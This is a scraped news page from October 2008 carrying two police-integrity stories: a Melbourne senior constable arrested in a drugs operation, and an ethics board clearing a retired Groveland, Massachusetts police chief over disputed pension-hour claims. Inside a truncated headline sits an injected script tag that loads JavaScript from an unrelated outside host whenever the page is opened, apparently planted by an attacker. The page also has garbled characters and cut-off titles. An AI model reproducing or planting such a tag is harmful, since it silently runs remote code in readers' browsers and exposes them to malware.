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NEWS > 21 October 2008

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Cop nabbed in drug swoop
A senior constable is one of several people arrested in a drugs swoop by Victoria police and the Office of Police Integrity.

Ethical Standards Department (ESD) police and Office of Police Integrity (OPI) investigators arrested several people as part of a joint investigation, codenamed Blackbird, an OPI spokesman said.

It was expected they would be charged with serious drug offences following a series of searches, the spokesman said.

"During one arrest, a 36-year-old senior constable from a Melbourne metropolitan station was taken into custody," he said.
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 Article sourced from

Groveland Police Department, M<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Eagle Tribune - North Andover,
21 October 2008
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Groveland Police Department, M

Ethics board: 'No further acti

The state Ethics Commission has decided to take no action against retired police Chief Ronald Weeks for his attempt to help a former Groveland police officer gain retirement benefits from the county.

The commission reviewed the matter after a county retirement official wrote a letter to town officials saying the county had doubts about information provided by Weeks showing how many hours the officer worked.

The Ethics Commission sent Weeks a letter, dated Sept. 30, stating, "As you know, several months ago we discussed with you concerns that you may have intentionally misrepresented hours worked by a former Police Department employee in an effort to assist that former employee in obtaining certain benefits. Based upon your statements, we are satisfied that this matter requires no further action on our part at this time."

Attorney Scott Gleason, who represented Weeks before the commission, said his client's name has been cleared. The former officer involved, James Slavit of Haverhill, could not be reached for comment.

"There hasn't been a person of greater integrity," Gleason said of Weeks, whose career in law enforcement spanned more than 30 years. "It's tragic that this happened."

The letter is signed by Kathryn Bendoraitis, an investigator for the Ethics Commission. Bendoraitis could not be reached for comment yesterday.

David Giannotti, spokesman for the commission, said he could not comment on a matter that did not result in a fine or other penalty.

Gleason said the commission's investigation was "thorough" and "very professional." The complaint was filed by an anonymous person, Gleason said.

The inference that Weeks was not honest in a letter to the board amounted to "a failure to pass the giggle test," Gleason said.

While Gleason was pleased that Weeks' name has been cleared, Gleason said, "Unfortunately, it (the inference) besmirched his enormous reputation when it was reported."

Weeks told the Essex Regional Retirement Board in December that Slavit worked full time for Groveland as a reserve officer for 91βΡ2 years. Slavit, however, actually averaged about six hours a week at times, according to some town and county documents.

Weeks submitted a letter to the board on behalf of Slavit stating that the town has no pay records, but vouching that Slavit worked 40 hours a week from 1983 to 1992.

The board didn't readily accept the chief's claim, and W-2 forms on file with the town contradicted it.

In one instance, Weeks said Slavit worked 40 hours a week for half a year, while the W-2 records show Slavit made $204 for that period.

"I am having a great deal of difficulty in believing the honesty of this statement," Lilli Gilligan, chief operating officer for the Essex Regional Retirement Board, wrote about the chief's letter in a Feb. 15 memo to Groveland Assistant Town Treasurer Patricia Rogers.

Slavit, 46, an engineer with the Massachusetts Highway Department, would have been able to credit his time as a reserve officer toward his state pension if the Essex Regional Retirement Board accepted his contention that he worked full time for Groveland. The more years credited toward a pension, the more lucrative it is.

While Weeks' letter states that Slavit made $16,625 from July 1991 to June 1992, a W-2 form shows him making only $2,252 in 1991 and $204 in 1992 — a difference of more than $14,000 in total.

In 1990, W-2 forms show him making $1,298. The chief's letter said Slavit made about $15,000 during that time.

Gleason said in May he had advised Weeks to challenge retirement officials for questioning his honesty in the e-mail to a town official, while never confronting Weeks about it.

Gleason said the statement about Weeks' honesty was "libelous" and "scandalous."

"He was asked by the town and retirement board to compile, from memory, what the employment record was for that specific employee, a re-creation of what the work record was going back 25 years," Gleason said at the time.

Without identifying any specific people, Gleason suggested someone may have wanted to ruin Weeks' reputation. He noted the matter came to light on the verge of the chief's retirement. "Shame on them," he said. "It's pathetic."

Asked if Weeks might consider legal action, Gleason said, "All options are on the table. Ron's got to think about how he wishes to go from here. He will make a decision."

 

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